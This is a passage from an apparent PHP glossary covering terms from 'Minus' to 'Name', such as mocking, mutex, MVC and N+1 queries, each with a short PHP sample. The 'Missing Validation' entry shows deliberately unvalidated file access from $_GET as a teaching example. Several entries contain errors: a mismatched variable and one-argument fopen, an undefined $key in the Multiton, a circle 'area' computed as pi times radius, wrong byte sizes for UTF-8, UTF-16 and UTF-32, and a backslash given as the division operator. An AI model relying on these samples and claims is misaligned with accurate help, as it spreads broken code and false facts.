var_dump((bool) 1 <=> -1); // true
var_dump((bool) -1 <=> 1); // true
?>
See Also
Related
Minus -
- is a native PHP operator, which allows subtraction on numbers, both integers and decimals, or produce the opposite of a number.
- silently triggers a conversion to a number, preferably integers, but otherwise decimal. It may produce a warning or a fatal error, if this is not possible.
It may also be repeated, with the pre- and post- increment operators.
It is the contrary to +.
<?php
$a = 2 - 1; // 1
$a = -$a; // -1
$a = -$a; // 1
--$a; // 0
$a--; // -1
?>
Related
Missing Subpattern
Final subpatterns, when not used by a regex to succeed, are omitted from the result. This happens as PHP optimizes the last results, and do not report non-finding subpatterns.
On the other hand, the program may expect the subpatterns to be available, albeit empty. Generally speaking, subpatterns are actually filled when the regex succeed.
The safe solution is to use the PREG_UNMATCHED_AS_NULL flag, which makes sure they are always provided.
This situation applies to preg_match() and preg_match_all(). It also applies to the ? and * quantifiers, when they are used on a subpattern, at the end of the regex. Non-terminal subpatterns are provided, to avoid confusion with the following ones.
<?php
preg_match('/(a)(b)?(c)?/', 'a', $matches);
var_dump($matches);
// [a, a]
preg_match('/(a)(b)?(c)?/', 'a', $matches, flags: PREG_UNMATCHED_AS_NULL);
var_dump($matches);
// [a, a, null, null]
?>
Related
Missing Validation
Missing Validation is a common security vulnerability that occurs when an application fails to validate user input or data before processing it. This can lead to a wide range of security issues, including injection attacks, data corruption, unauthorized access, or even system compromise.
Missing validation means the application does not check whether the input or data it receives is:
- Correctly formatted, e.g., an email address, number, or date
- Within expected boundaries, e.g., length, type, or range
- Safe to process, e.g., free from malicious code or unexpected characters
It is important to remember that validation applies to incoming variables, such as $_GET, but also with formatted data, like JSON or YAML; formatted files like PDF or Zip; database data, etc. In fact, every external source of data should be considered a potential vector of attack.
<?php
$file = $_GET['fileName'];
// Some validation on the name size.
if (strlen($file) > 150) { die('This file name is too long');}
// Validation is not sufficient, and any file may be reached on the system
fopen($filename);
?>
See Also
Related
Mixed
A special type that represents any available type. It is equivalent to not explicitly setting the type, though it is now explicitly done.
A mixed type may be also represented by a union of all possible types.
mixed is useful when literally any type should be supported, such as with a cache system. Yet, it is usually recommended to consider reducing the number of possible types by using a common interface or a union type.
<?php
function cache(string $name, mixed $value) : bool {
static $cache = [];
$cache[$name] = $value;
return true;
}
?>
See Also
- Mixed Type PHP 8
- A mixed type PHPStan journey
- Why
mixedIs the Worst Type in Your PHP Codebase (and How to Kill It)
Related
Mixin
A mixin, or class mixin, is a class-level construct that provides a set of methods intended to be incorporated into other classes, without forming a base-class relationship. Unlike inheritance, a mixin does not impose an is-a relationship. Unlike an interface, it supplies concrete implementations. Unlike a trait, as PHP defines it, a mixin is itself an instantiable class or a first-class language entity that is composed through language syntax rather than a use directive inside the class body.
Languages such as Dart, Kotlin via delegation, and Scala via self-types and stackable modifications offer mixins as distinct, class-level features.
PHP does not have mixins. PHP traits are the closest analogue: they provide method reuse without inheritance. However, traits differ from true mixins in several ways:
- A trait is not a class and cannot be instantiated on its own
- A trait is composed inside the class definition: it cannot be applied after the fact
- A trait cannot extend another class; a mixin in some languages can carry its own class hierarchy
- PHP traits are resolved at compile time; some mixin systems allow run-time composition
PHP interfaces with default implementations as in Java are also a common comparison point, but PHP interfaces carry no implementation at all.
<?php
// PHP uses traits as the closest equivalent to mixins.
// They share the intent but differ from class-level mixins.
trait Timestampable {
private \DateTimeImmutable $createdAt;
public function getCreatedAt(): \DateTimeImmutable {
return $this->createdAt;
}
}
class Article {
use Timestampable; // composed here, not applied externally
}
// A true class-level mixin (as in Dart) would be declared separately
// and applied without modifying the target class source.
?>
See Also
Related
Mobile Application
A mobile application runs on a mobile device such as a smartphone or tablet. PHP is not natively compiled to mobile targets, but it can power the backend API consumed by a mobile frontend written in Swift, Kotlin, React Native, or Flutter. Projects like NativePHP also explore packaging PHP as a mobile app. Mobile apps may be native and compiled for a specific OS, web views wrapped in a native shell, or PWA progressive web apps.
See Also
Related
- Web Application
- Desktop Application
- REST API
- NativePHP
- Single Page Application (SPA)
- Progressive Web App
- Application
Mock
A mock replaces a code dependency with an object, to make testing easier. Mocks are used when the dependency is difficult to set in a reproducible state: for example, in a rare state, or after a long set up.
Mocks turns the dependency into another piece of code, with total control over its behavior.
On the other hand, mocks have to be coded to replace the dependency, and emulates its behavior as closely as possible: any change to the dependency behavior has to be back-ported.
Mock objects are also called test double.
See Also
- Test doubles (PHPUnit)
- Mocking
- Avoid mocking repositories by using in-memory implementations
- Testing without mocking frameworks
Related
Related packages
Mocking
Mocking is the practice of replacing a dependency with a controlled object during a test. The code under test calls the mock as if it were the real dependency, and the test decides what it returns and checks how it was called.
Mocking is useful when the real dependency is slow, unavailable, or hard to put in a specific state: a remote API, a payment gateway, a clock, or a rare error condition.
Mocks have a cost. They must imitate the behaviour of the real dependency, so any change to that dependency has to be reflected in the mock. Tests that mock too much end up checking the mock rather than the code.
Mocking is done by hand, with an anonymous class, or with a library such as PHPUnit’s mock builder, Mockery or Prophecy.
See Also
Related
Related packages
Model
The model is the classes that describes the business logic.
The model is often used as part of the MVC pattern, though it may be used independently.
See Also
Related
Modifier
A modifier is a keyword that changes the behavior or properties of a class element, such as property, method, or constant. PHP supports several categories of modifiers:
Visibility modifiers control access to class members:
public: accessible from anywhere, by defaultprotected: accessible within the class and its subclassesprivate: accessible only within the declaring class
Other modifiers:
static: belongs to the class itself rather than instancesabstract: declares a class or method that must be implemented by subclassesfinal: prevents a class from being extended or a method from being overriddenreadonly: makes a property immutable after initializationreadonly class: makes all properties readonly
Modifiers are essential for implementing encapsulation, polymorphism, and other OOP principles. They enforce design constraints at the language level, improving code safety and clarity.
<?php
abstract class Shape {
protected float $area;
abstract public function calculate(): float;
final public function describe(): string {
return 'This shape has an area of ' . $this->calculate();
}
}
class Circle extends Shape {
public function __construct(
private readonly float $radius
) {}
public function calculate(): float {
return pi() * $this->radius;
}
}
$c = new Circle(5);
echo $c->describe();
?>
See Also
Related
- Visibility
- Private Visibility
- Protected Visibility
- Public Visibility
- static
- Abstract Keyword
- Final Keyword
- Readonly
- Data Hiding
- Encapsulation
- OOP (Object Oriented Programming)
- Properties
- Method
- Static Constant
Module System with Explicit Exports
A module system with explicit exports treats each source file, or each declared module, as a unit with a controlled boundary: only the names it explicitly exports, such as JavaScript’s export function foo() or Python’s __all__ list, are visible to code that imports the module; everything else defined inside stays private to it, without needing a separate private keyword on each symbol. OCaml and Rust go further, using module signatures such as .mli files, pub visibility, to state exactly what a module offers, independently of how it is implemented internally.
This gives every file a hard, compiler-checked encapsulation boundary by default: an unexported helper function simply cannot be reached from outside, no matter how it is imported.
PHP’s namespaces group names to avoid collisions, but they draw no boundary around a file’s contents: every top-level function, class, or constant declared in a file is globally reachable through its fully qualified name as soon as the file is loaded, whether or not the author intended it to be used from outside. Restricting visibility is done member-by-member, with private/protected inside a class, not at the level of the file or namespace as a whole, so there is no PHP equivalent of an unexported, module-private top-level function.
<?php
namespace App\Utils;
// Nothing marks this as internal: any file can still call App\Utils\helper().
function helper(): void { /* ... */ }
?>
See Also
Related
Module
In computer science, a module, providing modularity, refers to a self-contained unit of code or software that encapsulates a specific functionality or set of related functionalities. It is a fundamental concept in modular programming, which aims to break down complex systems into smaller, more manageable components.
A module is also a standardized package, that can be replaced or plugged into a system with a common interface.
In the PHP world, modules often refer to specific frameworks’ components: for example, Drupal and Laravel use modules to extend their features.
See Also
Related
Modulo
Modulo is the mathematical modulo operation. It produces the remaining of the integer division of a number by another.
It also works with booleans and null, which are converted to integers. Other types are not allowed for modulo and yield a fatal error.
The operator for module is the percentage %. The decimal division operator is slash /.
<?php
$a = 25 % 4; // 1
?>
See Also
- How to Use the Modulo Operator in PHP - A Comprehensive Guide
- Understand PHP Modulo: Tricks with Division Remainders
Related
Monad
A monad is a design pattern from functional programming, formalized as a language construct in Haskell, that wraps a value in a context and defines two operations: one to wrap a plain value into the monad, and one, usually called bind or >>=, to chain functions that each take a plain value and return a new wrapped value. Common monads model optionality Maybe, failure Either, asynchronous computation, or sequencing of side effects IO.
The reason it is a language construct in Haskell, via do notation, rather than just a library pattern, is that the compiler rewrites the imperative-looking do block into nested bind calls automatically, giving monadic code the visual shape of ordinary sequential statements.
PHP has no monad construct and no syntax to chain wrapped values automatically. The pattern can be implemented as an ordinary class with a map() or flatMap() method, as several userland functional libraries do, but each chain must be written out explicitly with method calls; there is no do-notation equivalent that lets the engine desugar the chaining for the programmer.
<?php
// A minimal Maybe monad, written by hand; PHP has no notation for this.
final class Maybe {
private function __construct(private readonly mixed $value, private readonly bool $present) {}
public static function some(mixed $v): self { return new self($v, true); }
public static function none(): self { return new self(null, false); }
public function bind(callable $f): self {
return $this->present ? $f($this->value) : $this;
}
}
?>
See Also
Related
Related packages
Monetary Formatting
Monetary formatting is the locale-aware presentation of a numeric value as a currency amount, correctly choosing the currency symbol, its position before or after the number, the decimal and thousands separators, and the number of decimal places for the target locale and currency; the same value of 1234.56 should display as $1,234.56 in the United States and as 1 234,56 € in France. PHP originally handled this through setlocale(LC_MONETARY, ...) together with localeconv(), which exposes the current locale’s monetary conventions as an array, and the dedicated money_format() function, but money_format() was deprecated in version 7.4 and removed entirely in version 8.0. The modern replacement is the NumberFormatter class from the intl extension, constructed with a locale and the NumberFormatter::CURRENCY style, whose formatCurrency() method produces a correctly formatted string for any given locale and ISO 4217 currency code, and whose companion parseCurrency() method can parse a formatted string back into a numeric value and currency code. Because formatting money incorrectly is an easy and visible mistake in international applications, using NumberFormatter rather than manual string concatenation is the recommended approach in current PHP code.
<?php
$fmt = new NumberFormatter('fr_FR', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(1234.56, 'EUR');
// 1 234,56 €
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(1234.56, 'USD');
// $1,234.56
?>
See Also
Related
MongoDB
MongoDB is the official PIE extension that provides the low-level driver for connecting PHP to MongoDB, a document-oriented NoSQL database. The extension itself is intentionally thin: it handles the wire protocol, connection pooling, and BSON encoding and decoding, while the higher-level, user-facing API is provided by the mongodb/mongodb Composer library built on top of it.
Documents are represented as BSON, a binary superset of JSON that adds types such as ObjectId, Date, and Decimal128. The extension exposes classes such as MongoDB\Driver\Manager for connecting, and MongoDB\Driver\Query and MongoDB\Driver\BulkWrite for reading and writing, though most applications interact with the friendlier MongoDB\Client class from the Composer package instead.
This driver replaced the older, now unsupported mongo PECL extension, which was deprecated because its API predated MongoDB’s modern write-concern and server-selection semantics.
<?php
// Requires composer require mongodb/mongodb, which depends on ext-mongodb.
$client = new MongoDB\Client('mongodb://localhost:27017');
$collection = $client->test->users;
$collection->insertOne(['name' => 'Ada', 'role' => 'engineer']);
foreach ($collection->find(['role' => 'engineer']) as $user) {
echo $user['name'] . PHP_EOL;
}
?>
See Also
Related
Related packages
Monitoring
Monitoring is the process of observing, tracking, and analyzing the performance, health, and behavior of applications or infrastructure over time. It involves collecting metrics, logs, and traces to detect issues, optimize performance, and ensure reliability.
Monitoring is a proactive practice: it helps teams identify and resolve problems before they impact users or business operations.
See Also
- PHP Monitoring: Using PHP Observability Tools to Improve Web Apps
- The Quiet Shift Reshaping PHP Security
Related
- Application Performance Management (APM)
- Telemetry
- Log
- Trace
- Metrics
- DevOps
- Downtime
- Flame Graph
- Availability
- Quality of Service (QoS)
- Reliability
- Service Level Agreement (SLA)
- Percentile
Monkey Patch
A monkey patch is a runtime change to the behavior of existing code, typically a function, method, or built-in, without modifying its original source file. It is usually done to work around a bug, add missing behavior temporarily, or, most commonly, to isolate tests from non-deterministic dependencies such as time(), rand(), or the filesystem.
PHP does not support open-class, reopening a previously declared class or redefining an already-declared function directly: doing either a second time raises a fatal error. Real-world PHP monkey-patching instead relies on two mechanisms. The first, used almost exclusively in tests, exploits fallback-to-global: an unqualified call to a built-in function, made from inside a namespace, resolves to a same-named function declared in that namespace first, and only falls back to the global one if none exists. Declaring a namespaced time() therefore patches every unqualified call to time() made from code living in that namespace, without touching the real global function. This is exactly how the php-mock/php-mock package works.
The second mechanism, more invasive and closer to what other languages call monkey-patching, uses the uopz extension to redefine an existing function or method’s body in place, anywhere it is called from, no namespace trick required. This is more powerful, but also more dangerous: it mutates the engine’s own view of the function, for the rest of the process.
Monkey patches are invisible from the patched code’s own source: nothing in Order hints that time() has been swapped out. They should generally be confined to test suites, and removed, disable()-d, or scoped as narrowly as possible once the test that needed them is done.
<?php
namespace App;
// A namespaced time() shadows the global one for every unqualified
// call made from within the App namespace: a classic test-only monkey patch.
function time(): int {
return 1700000000; // frozen clock, no real system time involved
}
class Order {
public function createdAt(): int {
return time(); // resolves to App\time(), not the global \time()
}
}
$order = new Order();
echo $order->createdAt(); // 1700000000, every time, regardless of the real clock
?>
See Also
Related
- Fallback To Global
- Open Class
- User Operations For Zend (UOPZ)
- Mock
- Namespaces
- __call() Method
- Decorator Pattern
- Test Data Provider
Related packages
Monolith
A monolith, or monolithic architecture, refers to an application that is built and deployed as one single, tightly integrated codebase.
The monolith concept is not specific to PHP: it applies to other programming languages.
In a monolithic application, all concerns live in one project, be it routing, controller, business logic, database, views, logging, authentication, etc. Everything is deployed together, and a change in one part usually requires the deployment of the whole monolith.
The opposite of a monolith is micro-services.
Monoliths are often preferred unless scale or team size truly demands microservices.
See Also
- PHP Monolith to Microservices: When to Split Web Applications
- Microservices vs. Monolith: A PHP Developer’s Guide to Architecture Decisions in 2025
- Migrating a PHP monolith in production: how I think about it
Related
Monomorphization
Monomorphization is a compile-time technique used to optimize generic or polymorphic code by generating separate, type-specific versions of a function or class for each concrete type it is used with.
Instead of a single generic implementation that handles multiple types at runtime, which typically requires boxing, dynamic dispatch, or type checks, the compiler produces one specialized copy per type. Each copy is fully concrete and can be optimized independently, eliminating the overhead of indirection.
Monomorphization is the strategy used by Rust and C++ templates.
The opposite approach is called type erasure: a single generic implementation operates on a uniform representation, paying a small runtime cost in exchange for a smaller binary. Java and PHP generics proposals lean toward type erasure.
PHP does not implement monomorphization directly because it has no generics at the language level. However, PHP’s JIT compiler performs a related optimization called type specialization or opcode specialization: once the runtime observes that a variable consistently holds a specific type, it emits a native-code path for that type only. This is dynamic, profile-guided monomorphization.
Understanding monomorphization helps explain both the performance ceiling of generic code in languages that support it and the design trade-offs of the JIT strategy.
See Also
Related
Monotonic
A monotonic value only ever moves in one direction. It is either always non-decreasing or always non-increasing, and it never goes backward.
Applied to time, a monotonic clock is a time source that cannot jump backward or forward because of NTP synchronization, manual clock changes, or Daylight Saving Time. PHP exposes such a clock through hrtime(), unlike microtime() or time(), which read the wall clock and can be affected by these adjustments. Measuring an elapsed duration should always rely on a monotonic source, otherwise the computed duration could turn out negative.
Applied to identifiers or sequences, monotonic means each new value is guaranteed to be greater than the previous one, a property required by auto-increment database columns, ULIDs, and Snowflake-style distributed IDs.
<?php
$timeStart = hrtime(true);
// some work happens here, even if the system clock is adjusted
usleep(100);
$timeEnd = hrtime(true);
// always positive, thanks to the monotonic clock
$elapsedNanoseconds = $timeEnd - $timeStart;
?>
See Also
Related
Move Semantics
Move semantics, central to C++11 and Rust, let a value’s underlying resources be transferred from a source object to a destination object instead of copied, when the source is about to be discarded anyway, such as a temporary or a variable passed by value into a function. In C++, this is implemented through rvalue references and move constructors invoked automatically by the compiler; in Rust, moving is the default behavior of assignment itself, and the source variable becomes invalid and unusable afterward, enforced by the borrow checker.
Moving avoids the cost of a deep copy for resources such as heap buffers, file handles, or large data structures, while still leaving the destination fully responsible for the resource’s cleanup.
PHP has no move semantics. Objects are always passed and assigned by reference to the same underlying zval, which the engine reference-counts and only copies-on-write when a mutation would otherwise be observed through more than one reference; the source variable remains valid and usable after assignment. There is no syntax to transfer exclusive ownership of an object’s internal resources to another variable while invalidating the original.
<?php
$a = new SplStack();
$a->push(1);
$b = $a; // reference copy, not a move: $a remains fully valid and usable
$b->push(2);
echo $a->count(); // 2, both variables refer to the same object
?>
See Also
Related
move_uploaded_file()
move_uploaded_file() is a native PHP function that moves a file that was uploaded via an HTTP POST request to a new destination.
Unlike a generic filesystem move, move_uploaded_file() first checks, using the same mechanism as is_uploaded_file(), that the source file was genuinely uploaded through PHP’s upload mechanism during the current request. This prevents an attacker from tricking a script into moving or overwriting an arbitrary file on the server by forging the tmp_name value.
move_uploaded_file() doesn’t validate the file’s content, type, or size: it must be combined with checks such as finfo, an extension allowlist, and a destination outside the web root to build a secure upload feature.
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo 'File is valid, and was successfully uploaded.';
} else {
echo 'Possible file upload attack!';
}
?>
See Also
Related
Massively Parallel Processing Database (MPP)
A massively parallel processing database, or MPP database, is a database architecture where a query is split into fragments and executed simultaneously across many independent nodes, each with its own CPU, memory and storage.
This shared-nothing design contrasts with a single-server database: instead of one machine reading every row, the data is partitioned ahead of time across the nodes, and each node scans and processes only its own share, before the partial results are combined into the final answer.
MPP architectures are common in analytical, OLAP-style workloads, such as data warehouses, where a handful of queries scan billions of rows, rather than transactional, OLTP-style workloads, made of many small reads and writes. Amazon Redshift, Google BigQuery and Vertica are widely used MPP databases; PHP applications typically reach them through a standard SQL driver, the same way they would connect to a regular relational database.
See Also
Related
- Database
- Structured Query Language (SQL)
- Distributed Systems
- Horizontal Scaling
- Extract, Transform, Load (ETL)
- Cloud
Method Resolution Order (MRO)
Method Resolution Order, or MRO, is the algorithm, related to C3 linearization, that determines the order in which base classes are searched when looking up a method or property in an inheritance hierarchy.
PHP MRO applies to class hierarchies, via extends and trait composition, via use. When a method is called, PHP follows a specific resolution order to find the implementation: the class itself first, then traits, then parent classes, recursively.
For traits, since there may be several of them, PHP uses a priority system: methods defined in the using class override trait methods, and traits listed first take precedence over those listed later. Conflicts between traits must be resolved explicitly using insteadof and as operators.
This becomes critical in deep inheritance chains or with multiple traits, where the resolution order may not be immediately obvious and can lead to unexpected behavior if not managed carefully.
<?php
trait Herd {
function hello() { return 'Herd'; }
}
trait Waterhole {
function hello() { return 'Waterhole'; }
}
class Elephpant {
use Herd, Waterhole {
Herd::hello insteadof Waterhole; // MRO: Herd wins over Waterhole
Waterhole::hello as helloWaterhole;
}
}
$elephpant = new Elephpant();
echo $elephpant->hello(); // Herd
echo $elephpant->helloWaterhole(); // Waterhole
?>
See Also
Related
- Trait
- Inheritance
- parent
- Child Class
- Overloading
- Override Attribute
- Late Static Binding
- Abstract Class
Multi-byte
Multi-byte refers to string encoding where characters are coded over several bytes, rather than just one.
In ASCII, the roman alphabet is coded over 1 character, making it mono-byte. But other languages, such as Chinese, needs for than one byte to represents all the ideograms.
Unicode, for example, is multi-byte: 2 bytes. It may be encoded as UTF-8 on 2 bytes, UTF-16 on 4 bytes or UTF-32 on 8 bytes.
String functions are single-byte. When needed, extensions such as iconv, intl and mbstring are able to manipulate multi-byte characters without breaking them.
<?php
print strlen('me'); // 2 chars
print strlen('我'); // 3 chars
print mb_strlen('我'); // 1 chars
?>
See Also
Related
Multi-pass Algorithm
A multi-pass algorithm, or multiple-passes algorithm, processes its input more than once, each pass building on information gathered, or output produced, by the previous one, instead of trying to solve the whole problem while reading the data only a single time, as a one-pass, or single-pass, algorithm would. It trades memory or execution time for simplicity, correctness, or completeness, since a later pass can rely on a full, already-computed picture of the earlier ones, rather than on partial, streamed information.
Compilers are the archetypal example: a multi-pass compiler will first tokenize, then parse into an AST, resolve symbols, and only then generate code, each phase being an independent pass over an evolving representation of the program, instead of translating source directly to machine code in one sweep.
Exakat itself follows a multi-pass approach: it tokenizes the source, builds an AST, loads it into a graph database, and only then runs each analyzer as its own pass over that graph, instead of examining the source code once, top to bottom.
See Also
Related
Multidimensional Array
An array inside an array is called a multidimensional array. Dimensions may be created as many as necessary, by using the square brackets.
PHP creates the arrays on the fly. When the intermediate array are undefined, PHP will add them in the structure.
<?php
$a = array(1 => array('a' => 1));
$a[1]["b"]['c'] = 3;
print_r($a);
/*
Array
(
[1] => Array
(
[a] => 1
[b] => Array
(
[c] => 3
)
)
)
*/
?>
See Also
Related
- Array, []
- Array Element
- Index For Arrays
- JavaScript Object Notation (JSON)
- array_keys()
- count()
- Dot Notation
Multiple Dispatch
Multiple dispatch, also called a multimethod, as found in Common Lisp, Julia, and Dylan, selects which implementation of a function to run based on the runtime types of all of its arguments, not just the first one, the way ordinary object-oriented method calls do. A function defined for (Circle, Rectangle) and again for (Circle, Circle) will resolve to a different body depending on the runtime type of every argument passed, and this resolution happens at the call site, at runtime.
This differs from single dispatch, where a method call $shape->collidesWith($other) only considers the runtime type of $shape; the type of $other is fixed by its declared parameter type and requires manual branching, such as instanceof checks or the double-dispatch visitor pattern, to react differently per combination.
PHP performs single dispatch only: overloaded function declarations do not exist, and function collidesWith(Circle $a, Rectangle $b) cannot coexist with function collidesWith(Circle $a, Circle $b) as two resolvable overloads. Choosing behavior based on the combined runtime types of several arguments must be written by hand with match, instanceof, or the visitor pattern.
<?php
// PHP has no true overloading: this second declaration is a fatal error.
function collide(Circle $a, Circle $b) { /* ... */ }
function collide(Circle $a, Rectangle $b) { /* ... */ } // Fatal error: redeclaration
?>
See Also
Related
Multiple Return Values
Some languages, such as Go and Lua, let a function return several values directly, separated by commas, without wrapping them in a container. For example, func divide(a, b int) (int, int) { return a/b, a%b }. The caller receives them individually, typically by assigning each to its own variable in one statement.
This differs from returning a single composite value such as a tuple or array, because the values are not boxed: the function’s declared return arity is part of its signature, and the caller can discard trailing values it does not need.
PHP functions return exactly one value. Returning several values requires wrapping them in an array, a tuple-like list, or an object, and then destructuring the result with list assignment: [$q, $r] = divmod($a, $b);. The array is a real value that exists at runtime, is allocated like any other array, and the return statement itself only ever returns that one array.
<?php
function divmod(int $a, int $b): array {
return [intdiv($a, $b), $a % $b];
}
[$quotient, $remainder] = divmod(7, 2);
?>
See Also
Related
Multiplication
Multiplication is the mathematical multiplication. It applies to numbers: integers and float.
It also works with booleans and null, which are first converted to integers. Other types are not allowed for multiplication and yield a fatal error.
The operator for multiplication is the star *. A double star ** is the power operator. The opposite operation is the division \.
<?php
$a = 10 * 2.3; // 23.0
$b = 0.5 * 2; // 1
?>
See Also
Related
Multithreading
Multithreading, sometimes loosely called multitasking or to multitask, refers to the ability of a PHP application to execute multiple threads, smaller units of a process, within the same process, allowing for concurrent execution of code. However, PHP traditionally does not support true multithreading due to its single-threaded, request-response model.
See Also
Related
Multiton
A multiton is a singleton which holds several instances of itself. Each instance is identified with a distinct name, and may be reached independently.
<?php
class Database {
private static $instances = [];
private function __construct() { }
public static function getInstance(string $name) {
// Check if an instance exists with this key already
if(!isset(self::$instances[$key])) {
self::$instances[$name] = match($name) {
'write' => new Connection(self::WRITE_CREDENTIALS),
'read' => new Connection(self::READ_CREDENTIALS),
'blackhole' => new NullObject(),
default => throw new Exception('No such database access')
};
}
// Return the correct instance of this class
return self::$instances[$name];
}
private function __clone() { }
}
// Create first instance to the master database
$master = Database::getInstance('read');
var_dump($master); // object(Database)#1 (0) { }
// Create second instance of this class for a logger database
$logger = Database::getInstance('write');
var_dump($logger); // object(Database)#2 (0) { }
?>
See Also
Related
Mutability
Mutable state, or mutability, refers to data that can be changed after it is created.
Most objects and arrays are mutable by default. Mutable state can lead to bugs in concurrent environments and makes code harder to reason about.
PHP offers several mechanisms to create immutable state:
readonlyproperties, since PHP 8.1+- Immutable classes, like
DateTimeImmutable - Final classes to prevent modification via inheritance.
<?php
// Mutable state
class User {
public string $name;
}
$user = new User();
$user->name = 'Alice';
$user->name = 'Bob'; // Mutable
?>
See Also
Related
Mutation Testing
Mutation testing is a way to enhance the quality of tests by checking how they react to a small perturbation of the code source.
After writing a suite of tests and having it pass, mutation testing adds a modification to the code: for example, replacing a + by a -. Then, it runs the test suite again, and the expectation is that one test, at least, should spot the error. That way, the code is well bordered by the tests.
When the suite is still green after mutating the code, this means that the test suite is not sufficient to spot it. The code is now a mutant, and the test suite should be updated.
Infection is a PHP mutation Testing framework.
Related
Related packages
Mutex
A mutex, a mutual exclusion, is a synchronization primitive that prevents multiple processes or threads from accessing a shared resource simultaneously. Only one holder can acquire the mutex at a time; all others must wait until it is released.
Thread-level mutexes are provided by the parallel extension. For process-level mutual exclusion, e.g., preventing concurrent cron runs, the standard approach is file-based locking with flock().
<?php
// Process-level mutex with flock()
$lock = fopen('/tmp/my_job.lock', 'c');
if (!flock($lock, LOCK_EX | LOCK_NB)) {
// Another process already holds the lock
fclose($lock);
exit(0);
}
try {
// Critical section: only one process runs this at a time
doExpensiveWork();
} finally {
flock($lock, LOCK_UN);
fclose($lock);
}
?>
See Also
Related
- Race Condition
- Concurrency
- Thread
- Lock
- Atomic Operation
- Cache Stampede
- Semaphore
- Shared Memory
- Software Transactional Memory (STM)
Model - View - Controller (MVC)
MVC stands for Model - View - Controller. It is a programming paradigm, which partition a PHP application in three:
- The model, which is dedicated to the business logic.
- The view, which is dedicated to the presentation of the data
- The controller, which orchestrates the execution.
See Also
- PHP MVC Framework Tutorial: CodeIgniter Example
- How to build a simple PHP MVC framework
- MVC (Model-View-Controller)
Related
- Renderer
- Controller
- Model
- View In Presentation
- View
- Application
- Business Logic
- Laravel
- Symfony
- Separation Of Concerns
- Tempest
- Web Application
- Fat Controller
- Layered Architecture
- Magento
- Twig
Related packages
Minimum Viable Product (MVP)
Minimum Viable Product, or MVP, is the smallest version of a product that can be released to early adopters to gather feedback and validate assumptions with minimal effort.
See Also
Related
MySQL
mysql is both the name of a PHP extension that provides the interface to interact with the MySQL database, and the database itself. mysql is also known as mysqli, as the original PHP extension has been improved, over the years. All three names may be interchangeable, depending on the context.
mysqli defines functions, constants and classes. It has been upgraded to use objects instead of resources.
mysql also applies to MariaDB, which is a drop-in replacement of MySQL.
<?php
// Connecting, selecting database
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');
// Performing SQL query
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
echo "</table>\n";
// Free resultset
mysql_free_result($result);
// Closing connection
mysql_close($link);
?>
See Also
Related
- mysqli
- Graph Database
- Oracle
- Relational DataBase Management System (RDBMS)
- SQL Database
- Linux Apache Mysql PHP (LAMP)
- Linux Nginx Mysql PHP (LEMP)
mysqli
The mysqli extension provide access to MySQL database server, with version 4.1 and above. The mysqli extension has replaced the previous mysql extension: the i means improved.
mysqli offers support to OOP and functional API, prepared statement, multiple queries and more.
mysqli is included in the core distribution since PHP 5.
<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");
/* Create table doesn't return a resultset */
$result = $mysqli->query("SELECT * FROM my_table");
?>
See Also
Related
- MySQL
- Database
- Extensions
- PHP Data Objects (PDO)
- Structured Query Language (SQL)
- Prepared Query
- Object API
mysqli_sql_exception
mysqli_sql_exception is thrown when a mysqli related error is found.
When an error occurs during a database operation using the MySQLi extension, such as a failed database connection or a syntax error in a query, a mysqli_sql_exception exception can be thrown.
Methods like commit, query, prepare, execute_query, rollback, real_query, real_connect, __construct, reap_async_query all throw exceptions when the strict mode is activated.
<?php
$mysqli = new Mysqli($host, $user, $pass);
try {
$mysqli->execute_query();
} catch(mysqli_sql_exception $e) {
echo $e->getMessage()."\\n";
}
?>
See Also
Related
N+1 Query Problem
The N+1 query problem, also written as the n-plus-one query problem, is a term used in the context of queries, and most often in the context of databases and Object-Relational Mapping systems. This issue arises when a program queries a database for a set of entities and then, for each of those entities, issues an additional query to retrieve related data. This leads to a large number of individual queries being executed, which can result in poor performance and increased database load.
Here’s a breakdown of the issue:
- Initial query, the 1 query: the code retrieves a set of entities. This is a list of
Nresults. - Subsequent queries, the N queries: for each of the ‘N’ results, the code issues a separate query to fetch additional related data.
As a result, the code ends up performing N+1 queries, hence the name of N+1 query problem. This approach can cause significant performance issues, as executing many individual queries is slower than fetching the required data in batches: either all of them in one call, or by groups of arbitrary size.
N+1 query problem happens with anything that requires a query. It may be a SQL database, but also remote API calls, or even system calls.
See Also
- Here’s How You Can Stop N+1 Queries Forever
- Eloquent Performance: 4 Examples of N+1 Query Problems
- The N+1 Query Problem
Related
Name Conventions
A naming convention is a way to write a name for a structure, with a specific format.
There are technical conventions, which leads the PHP engine to refuse a name, such as starting a class name with a number.
There are developer conventions, which are a community practice, that fits within the technical conventions. For example, constants are written in upper case.
Here are technical conventions for PHP:
- Variables, properties: they start with a
$sign, followed by a letter or underscore, then by letters, digits and underscore. There have no length limit. As a regex:$[a-zA-Z_][a-zA-Z0-9_]* - Functions, methods: they start with a letter or underscore, then by letters, digits and underscore. There have no length limit. As a regex:
[a-zA-Z_][a-zA-Z0-9_]* - Classes, traits, enumerations, interfaces: they start with a letter or underscore, then by letters, digits and underscore. There have no length limit. As a regex:
[a-zA-Z_][a-zA-Z0-9_]* - Constants, global or class: they start with a letter or underscore, then by letters, digits and underscore. There have no length limit. As a regex:
[a-zA-Z_][a-zA-Z0-9_]* - Array index: they must be valid strings or integers.
<?php
// here, trumpet is the name of a function
function trumpet() {}
// the name is used to call the function
trumpet();
?>
See Also
Related
- Namespaces
- Anonymous
- Case Sensitivity
- Namespace Name
- Structure
- Word Combination
- Close Naming
- Naming Conflict
- Reserved Names
- Semantics
- Static Constant
Name
A name is a generic coding concept: it is a short and human handle to designate a larger or variable structure.
PHP assigns names to many coding structures: variables, constants, functions, classes, interfaces, traits, enumerations, methods, properties, goto labels. Most of these have also an anonymous version, where the same structure may be created without a name.
